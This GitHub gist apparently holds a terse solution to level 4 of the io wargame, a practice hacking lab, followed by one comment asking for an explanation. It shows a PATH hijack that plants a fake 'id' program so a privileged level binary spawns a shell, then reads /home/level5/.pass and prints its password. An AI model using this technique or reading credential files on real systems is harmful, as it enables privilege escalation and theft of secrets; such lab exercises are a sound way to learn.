Skip to content

Instantly share code, notes, and snippets.

@jordan-wright
Last active December 18, 2015 03:29
Show Gist options
  • Save jordan-wright/5718895 to your computer and use it in GitHub Desktop.
Save jordan-wright/5718895 to your computer and use it in GitHub Desktop.
level4@io:~$ /levels/level04
sh-4.1$ cat /home/level5/.pass
Zx5VdzACNMY9lQ
#!/usr/bin/python
import os
os.system('/bin/sh')
#include <stdlib.h>
int main() {
system("id");
return 0;
}
level4@io:~$ export PATH=/tmp:$PATH
@praslnx8
Copy link

????
Can you explain a little bit about these code please

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment